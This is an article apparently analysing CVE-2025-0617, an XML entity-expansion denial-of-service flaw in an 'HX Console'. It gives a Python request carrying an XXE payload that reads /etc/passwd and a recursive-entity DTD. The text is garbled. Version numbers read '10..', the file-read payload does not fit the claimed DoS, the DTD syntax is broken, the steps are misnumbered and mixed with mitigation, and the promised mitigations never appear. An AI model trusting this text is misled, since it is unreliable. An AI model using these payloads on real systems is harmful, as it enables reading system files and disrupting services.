Cybersecurity has become a top priority for organizations, with attackers continually searching for new ways to exploit vulnerabilities in software applications. One such vulnerability is CVE-2025-0617, which affects the HX Console of versions 10.. and previous editions. This article dives into the details of this vulnerability, providing code snippets, links to original references, and a comprehensive analysis on how the exploit works.

CVE-2025-0617 Vulnerability Overview

The CVE-2025-0617 vulnerability allows an attacker with access to an HX Console to cause a Denial of Service (DoS) within the system by sending specially-crafted data. This data contains exponential entity expansions in the consumer process, which triggers a file-parsing issue in the system, ultimately leading to a DoS scenario.

Exploit Details

To understand the exploit better, let's break down the steps an attacker with access to an HX 10.. or previous versions might pursue:

The attacker sends maliciously crafted data to the HX console, exploiting the vulnerability.

import requests

target_url = "http://target_IP/HX_Console_vulnerable_endpoint";
payload = '''
 <!DOCTYPE foo SYSTEM "foo.dtd">
 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 
 <foo>&xxe;</foo>'''

exploit_request = requests.post(target_url, data=payload, headers={'Content-Type': 'application/xml'})

2. The payload exploits a vulnerability in the HX Console's file-parsing mechanism, causing exponential entity expansions within the consumer process.

<!-- foo.dtd file containing recursive XML entities causing DoS -->
<!ENTITY % entity_list "entity00;">
<!ENTITY % entity00 "██&entity01;" >
<!ENTITY % entity01 "██&entity02;" >
...
<!ENTITY % entity99 "trash" >

3. Implement proper access controls and validation mechanisms to ensure only authorized users can access and manipulate the HX Console.

Conclusion

The CVE-2025-0617 vulnerability poses a severe threat to organizations using HX Console versions 10.. and prior, as attackers can exploit it to perform a Denial of Service attack. By following the mitigation measures provided in this article and staying updated with the latest versions, vulnerabilities like this can be effectively addressed to maintain a secure environment.
